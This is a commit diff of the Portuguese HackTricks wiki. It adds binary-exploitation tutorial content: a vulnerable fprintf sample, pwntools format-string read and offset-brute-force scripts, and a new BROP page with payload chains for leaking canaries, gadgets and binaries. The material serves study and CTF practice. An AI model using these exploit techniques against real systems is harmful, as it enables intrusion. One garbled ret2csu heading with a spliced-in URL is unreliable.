Translated ['README.md', 'binary-exploitation/format-strings/README.md',

2025-02-17 14:38:27 +00:00 · 2024-04-15 03:55:24 +00:00 · 2024-04-15 03:55:24 +00:00 · 59323534ee
commit 59323534ee
parent 1342d531b2
27 changed files with 811 additions and 641 deletions
--- a/.gitbook/assets/image
+++ b/.gitbook/assets/image
--- a/.gitbook/assets/image
+++ b/.gitbook/assets/image
--- a/.gitbook/assets/image
+++ b/.gitbook/assets/image
--- a/.gitbook/assets/image
+++ b/.gitbook/assets/image
--- a/.gitbook/assets/image
+++ b/.gitbook/assets/image
--- a/.gitbook/assets/image.png
+++ b/.gitbook/assets/image.png
--- a/README.md
+++ b/README.md
@ -42,7 +42,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://

 <figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>

-**Intigriti** é a plataforma de **bug bounty** e **ethical hacking número 1 da Europa.**
+**Intigriti** é a plataforma de **bug bounty** e **ethical hacking #1** da Europa.

 Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!

@ -71,7 +71,7 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F

 * **Percepções de Hacking:** Engaje-se com conteúdo que explora a emoção e os desafios do hacking
 * **Notícias de Hacking em Tempo Real:** Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
-* **Últimos Anúncios:** Mantenha-se informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
+* **Últimos Anúncios:** Mantenha-se informado sobre os novos bug bounties lançados e atualizações cruciais na plataforma

 **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!

@ -81,7 +81,7 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F

 <figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>

-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, detecção e módulos de exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

 {% embed url="https://pentest-tools.com/" %}

@ -89,7 +89,7 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F

 ### [SerpApi](https://serpapi.com/)

-<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>

 A SerpApi oferece APIs rápidas e fáceis em tempo real para **acessar resultados de mecanismos de busca**. Eles raspam mecanismos de busca, lidam com proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.

@ -118,14 +118,14 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig

 A WebSec é uma empresa de segurança **tudo-em-um**, o que significa que eles fazem de tudo; Pentesting, Auditorias de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.

-Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec tem **muita confiança em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como declarado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
+Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como declarado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!

 Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**

 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
 ## Licença e Aviso Legal

-Verifique em:
+Confira em:

 {% content-ref url="welcome/hacktricks-values-and-faq.md" %}
 [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -137,10 +137,10 @@ Verifique em:

 Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/SUMMARY.md
+++ b/SUMMARY.md
@ -698,6 +698,7 @@
  * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
  * [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
 * [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
+  * [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
  * [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
  * [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
  * [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@ -6,7 +6,7 @@

 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

@ -16,7 +16,9 @@

 Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.

-A vulnerabilidade ocorre quando um **texto do atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades de **strings de formato printf** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Sendo capaz, dessa forma, de **executar código arbitrário**.
+Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
+
+A vulnerabilidade ocorre quando um **texto do atacante é usado como o primeiro argumento** para essa função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades de **strings de formato printf** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Sendo capaz, dessa forma, de **executar código arbitrário**.

 #### Formatadores:
 ```bash
@ -24,6 +26,7 @@ A vulnerabilidade ocorre quando um **texto do atacante é usado como o primeiro
 %d —> Entire
 %u —> Unsigned
 %s —> String
+%p —> Pointer
 %n —> Number of written bytes
 %hn —> Occupies 2 bytes instead of 4
 <n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
@ -45,6 +48,19 @@ printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
 ```c
 printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
 ```
+* fprintf vulnerável:
+```c
+#include <stdio.h>
+
+int main(int argc, char *argv[]) {
+char *user_input;
+user_input = argv[1];
+FILE *output_file = fopen("output.txt", "w");
+fprintf(output_file, user_input); // The user input cna include formatters!
+fclose(output_file);
+return 0;
+}
+```
 ### **Acessando Ponteiros**

 O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf para selecionar o parâmetro n (da pilha). Portanto, se você deseja ler o 4º parâmetro da pilha usando printf, você poderia fazer:
@ -62,18 +78,18 @@ e leia diretamente o quarto.
 Observe que o atacante controla o parâmetro `pr`**`intf`, o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.

 {% hint style="danger" %}
-Um atacante controlando essa entrada será capaz de **adicionar um endereço arbitrário na pilha e fazer com que o `printf` acesse esses endereços**. Na próxima seção será explicado como usar esse comportamento.
+Um atacante controlando essa entrada será capaz de **adicionar um endereço arbitrário na pilha e fazer com que o `printf` acesse-os**. Na próxima seção será explicado como usar esse comportamento.
 {% endhint %}

 ## **Leitura Arbitrária**

-É possível usar o formatador **`$n%s`** para fazer com que o **`printf`** obtenha o **endereço** situado na **posição n**, seguindo-o e **imprimi-lo como se fosse uma string** (imprimir até encontrar um 0x00). Portanto, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
+É possível usar o formatador **`%n$s`** para fazer com que o **`printf`** obtenha o **endereço** situado na **posição n**, seguindo-o e **imprimi-lo como se fosse uma string** (imprimir até encontrar um 0x00). Portanto, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
 ```python
 from pwn import *

 p = process('./bin')

-payload = b'%6$p' #4th param
+payload = b'%6$s' #4th param
 payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
 payload += p32(0x8048000) #6th param

@ -81,12 +97,56 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 {% hint style="danger" %}
-Note que não é possível colocar o endereço 0x8048000 no início da entrada porque a string será concatenada com 0x00 no final desse endereço.
+Note que não pode colocar o endereço 0x8048000 no início da entrada, pois a string será concatenada com 0x00 no final desse endereço.
 {% endhint %}

+### Encontrar o deslocamento
+
+Para encontrar o deslocamento para a sua entrada, você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
+
+<details>
+
+<summary>Força bruta do deslocamento do printf</summary>
+```python
+# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
+
+from pwn import *
+
+# Iterate over a range of integers
+for i in range(10):
+# Construct a payload that includes the current integer as offset
+payload = f"AAAA%{i}$x".encode()
+
+# Start a new process of the "chall" binary
+p = process("./chall")
+
+# Send the payload to the process
+p.sendline(payload)
+
+# Read and store the output of the process
+output = p.clean()
+
+# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
+if b"41414141" in output:
+# If the string is found, log the success message and break out of the loop
+log.success(f"User input is at offset : {i}")
+break
+
+# Close the process
+p.close()
+```
+</details>
+
+### Quão útil
+
+Leituras arbitrárias podem ser úteis para:
+
+- **Despejar** o **binário** da memória
+- **Acessar partes específicas da memória onde informações sensíveis** são armazenadas (como canários, chaves de criptografia ou senhas personalizadas como neste [desafio de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+
 ## **Escrita Arbitrária**

-O formatador **`$<num>%n`** escreve o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever tantos caracteres quanto desejar com printf, ele será capaz de fazer o **`$<num>%n`** escrever um número arbitrário em um endereço arbitrário.
+O formatador **`$<num>%n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever tantos caracteres quanto desejar com printf, ele poderá fazer com que **`$<num>%n`** escreva um número arbitrário em um endereço arbitrário.

 Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada, para fazer isso, é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
 ```bash
@ -97,7 +157,7 @@ No entanto, observe que geralmente, para escrever um endereço como `0x08049724`

 Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária)**.

-Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na **tabela GOT** que será chamada posteriormente. Embora isso possa abusar de outras técnicas de execução de escrita arbitrária:
+Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na **tabela GOT** que será chamada posteriormente. Embora isso possa abusar de outras técnicas de escrita arbitrária para execução:

 {% content-ref url="../arbitrary-write-2-exec/" %}
 [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
@ -160,12 +220,13 @@ p.interactive()

 * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
+* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
 * 32 bits, sem relro, sem canary, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem a necessidade de alterar o fluxo de execução)
 * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
 * 32 bits, relro, sem canary, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
 * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
-* 32 bits, relro, sem canary, nx, sem pie, string de formato para escrever um endereço dentro do main em `.fini_array` (para que o fluxo retorne mais 1 vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para o main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados.
+* 32 bits, relro, sem canary, nx, sem pie, string de formato para escrever um endereço dentro do main em `.fini_array` (para que o fluxo retorne mais uma vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para o main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados.

 <details>

@ -174,7 +235,7 @@ p.interactive()
 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@ -0,0 +1,134 @@
+# BROP - Programação Orientada a Retorno Cega
+
+<details>
+
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Informações Básicas
+
+O objetivo deste ataque é ser capaz de **abusar de um ROP por meio de um estouro de buffer sem nenhuma informação sobre o binário vulnerável**.\
+Este ataque é baseado no seguinte cenário:
+
+* Uma vulnerabilidade de pilha e conhecimento de como ativá-la.
+* Uma aplicação de servidor que reinicia após uma falha.
+
+## Ataque
+
+### **1. Encontrar o deslocamento vulnerável** enviando um caractere a mais até que uma falha no servidor seja detectada
+
+### **2. Forçar o canário** para vazá-lo&#x20;
+
+### **3. Forçar os endereços RBP e RIP** armazenados na pilha para vazá-los
+
+Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+
+### **4. Encontrar o gadget de parada**
+
+Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, esse gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
+
+### **5. Encontrar o gadget BROP**
+
+Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar esse gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
+
+<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+
+Esses seriam os gadgets:
+
+* `pop rsi; pop r15; ret`
+* `pop rdi; ret`
+
+Observe como com esses gadgets é possível **controlar 2 argumentos** de uma função a ser chamada.
+
+Também observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
+
+`'A' * deslocamento + canário + rbp + ADDR + 0xdead * 6 + STOP`
+
+Se o **STOP for executado**, isso basicamente significa que um **endereço que está desempilhando 6 registradores** da pilha foi usado. Ou que o endereço usado também foi um endereço STOP.
+
+Para **remover esta última opção** uma nova cadeia como a seguinte é executada e não deve executar o gadget STOP para confirmar que o anterior desempilhou 6 registradores:
+
+`'A' * deslocamento + canário + rbp + ADDR`
+
+Conhecendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
+
+### 6. Encontrar PLT
+
+A tabela PLT pode ser pesquisada a partir de 0x400000 ou do **endereço RIP vazado** da pilha (se **PIE** estiver sendo usado). As **entradas** da tabela são **separadas por 16B** (0x10B), e quando uma função é chamada, o servidor não trava mesmo se os argumentos não estiverem corretos. Além disso, verificar o endereço de uma entrada na **PLT + 6B também não trava** pois é o primeiro código executado.
+
+Portanto, é possível encontrar a tabela PLT verificando os seguintes comportamentos:
+
+* `'A' * deslocamento + canário + rbp + ADDR + STOP` -> sem travamento
+* `'A' * deslocamento + canário + rbp + (ADDR + 0x6) + STOP` -> sem travamento
+* `'A' * deslocamento + canário + rbp + (ADDR + 0x10) + STOP` -> sem travamento
+
+### 7. Encontrar strcmp
+
+A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Observe que **`rdx`** é o **terceiro argumento** e precisamos que seja **maior que 0** para posteriormente usar `write` para vazar o programa.
+
+É possível encontrar a localização do **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
+
+* strcmp(\<endereço não lido>, \<endereço não lido>) -> travamento
+* strcmp(\<endereço não lido>, \<endereço lido>) -> travamento
+* strcmp(\<endereço lido>, \<endereço não lido>) -> travamento
+* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
+
+É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número de entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT a partir da primeira:
+
+* strcmp(\<endereço não lido>, \<endereço lido>) -> travamento
+* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai travar
+* strcmp(\<endereço lido>, \<endereço não lido>) -> travamento
+* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
+* strcmp(\<endereço lido>, \<endereço lido>) -> sem travamento
+* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
+
+Lembre-se de que:
+
+* BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
+* BROP + 0x9 aponta para **`pop RDI; ret;`**
+* PLT + 0xb aponta para uma chamada para **dl\_resolve**.
+
+Tendo encontrado `strcmp`, é possível definir **`rdx`** com um valor maior que 0.
+
+{% hint style="success" %}
+Observe que geralmente `rdx` já terá um valor maior que 0, então esta etapa pode não ser necessária.
+{% endhint %}
+### 8. Encontrando Write ou equivalente
+
+Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0**.
+
+Existem 3 funções comuns que poderiam ser abusadas para isso:
+
+- `puts(data)`
+- `dprintf(fd, data)`
+- `write(fd, data, len(data)`
+
+No entanto, o artigo original menciona apenas o **`write`**, então vamos falar sobre ele:
+
+O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número de fd para enviar os dados para nosso socket**.
+
+No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write com base em seu **comportamento**. E podemos criar **várias conexões** com o servidor e usar um **FD alto** esperando que corresponda a algumas de nossas conexões.
+
+Assinaturas de comportamento para encontrar essas funções:
+
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
+- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
+
+## Exploração Automática
+
+- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
+
+## Referências
+
+- Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
--- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@ -14,11 +14,13 @@ Outras maneiras de apoiar o HackTricks:

 </details>

-## Informação Básica
+##

-**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.&#x20;
+## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informações Básicas

-Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam entre si. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
+**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que costuma usar para manipular o comportamento do programa.&#x20;
+
+Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.

 ### Os Gadgets Mágicos em \_\_libc\_csu\_init

@ -34,7 +36,7 @@ pop r14;
 pop r15;
 ret;
 ```
-Este gadget nos permite controlar esses registradores, retirando valores da pilha e inserindo neles.
+Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.

 2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:
 * **Mover valores específicos para outros registradores**, preparando-os para serem usados como parâmetros em funções.
@ -59,8 +61,8 @@ ret
 ```
 As condições serão:

-* `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não tiver ideia e não tiver PIE, você pode simplesmente usar a função `_init`):
-* Se \_init estiver em `0x400560`, use o GEF para procurar por um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
+- `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não houver ideia e não houver PIE, você pode simplesmente usar a função `_init`):
+- Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
@ -73,18 +75,30 @@ gef➤  search-pattern 0x400560
 * `rbp` e `rbx` devem ter o mesmo valor para evitar o salto
 * Existem alguns pops omitidos que você precisa levar em consideração

+## RDI e RSI
+
+Outra maneira de controlar **`rdi`** e **`rsi`** do gadget ret2csu é acessando offsets específicos:
+
+<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+
+Verifique esta página para mais informações:
+
+{% content-ref url="brop-blind-return-oriented-programming.md" %}
+[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
+{% endcontent-ref %}
+
 ## Exemplo

 ### Usando a chamada

-Imagine que você queira fazer uma chamada de sistema ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria por gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
+Imagine que você queira fazer uma chamada de sistema ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definissem esses registradores diretamente, mas não consegue encontrar nenhum.

 Aqui é onde o **ret2csu** entra em ação:

 1. **Configurar os Registradores**: Use o primeiro gadget mágico para desempilhar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
 2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, controlando `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.

